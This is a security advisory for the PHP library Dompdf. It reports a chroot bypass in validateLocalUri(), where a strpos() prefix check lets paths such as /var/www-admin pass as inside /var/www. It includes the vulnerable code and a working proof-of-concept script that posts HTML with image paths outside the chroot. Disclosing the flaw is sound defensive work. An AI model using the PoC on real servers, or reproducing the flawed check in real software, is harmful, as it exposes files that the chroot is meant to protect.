Dompdf: Chroot Validation Bypass
The chroot check for local files uses a prefix string check to enforce chroot boundaries. The simple string comparison it performs allows paths like /var/www/root_secret/file.html when chroot is /var/www/root.
This allows attacker-controlled document paths/resources to bypass intended local file restrictions.
The validateLocalUri() method is used to check if a local file is within an allowed chroot directory. After normalization with realpath(), this check is performed with a strpos() comparison:
public function validateLocalUri(string $uri)
{
...
$realfile = realpath(str_replace("file://", "", $uri));
...
foreach ($dirs as $chrootPath) {
$chrootPath = realpath($chrootPath);
if ($chrootPath !== false && strpos($realfile, $chrootPath) === 0) {
$chrootValid = true;
Due to the normalization, the $chrootPath string does not have a terminating directory separator (/) appended. Because of this, the strpos() check only validates that $chrootPath is a prefix of $realfile. This allows access to folders with similar names that fall outside of the defined chroot restrictions.
For example, a chroot setting of /var/www/ would be normalized to /var/www, removing the trailing /. During strpos(), a $chrootPath of /var/www will also match a $realfile starting with /var/www2, /var/www-admin, or /var/www_backup, despite these being different directories.
With a directory structure similar to:
/home/dompdf/
|--> web/
|--> pdf.php
|--> cat0.jpg
|--> web-admin/
|--> cat1.jpg
And web-accessible Dompdf functionality similar to the following (poc.html):
<?php
require 'vendor/autoload.php';
use Dompdf\Dompdf;
use Dompdf\Options;
$options = new Options();
$options->setChroot(['/home/dompdf/web/']);
$dompdf = new Dompdf($options);
$dompdf->loadHtml($_POST['html']);
$dompdf->render();
$dompdf->stream();
?>
A malicious actor can exploit the vulnerability with the following script:
$html = <<<HTML
<!DOCTYPE html>
<html>
<body>
<p>within chroot</p>
<img src="/home/dompdf/web/cat0.jpg">
<p>outside of chroot</p>
<img src="/home/dompdf/web-admin/cat1.jpg">
</body>
</html>
HTML;
$url = 'http://example.com/poc.php';
$data = ['html' => $html];
$headers = ["Content-type: application/x-www-form-urlencoded"];
// use key 'http' even if you send the request to https://...
$options = [
'http' => [
'header' => $headers,
'method' => 'POST',
'content' => http_build_query($data),
'ignore_errors' => true,
],
];
$context = stream_context_create($options);
$response = file_get_contents($url, false, $context);
When the PDF is generated, both jpg files are loaded successfully despite the cat1.jpg file being outside of the allowed chroot.
An attacker that controls a portion of the rendered HTML could leverage this vulnerability to bypass chroot restrictions and access potentially sensitive files from outside of the allowed directories.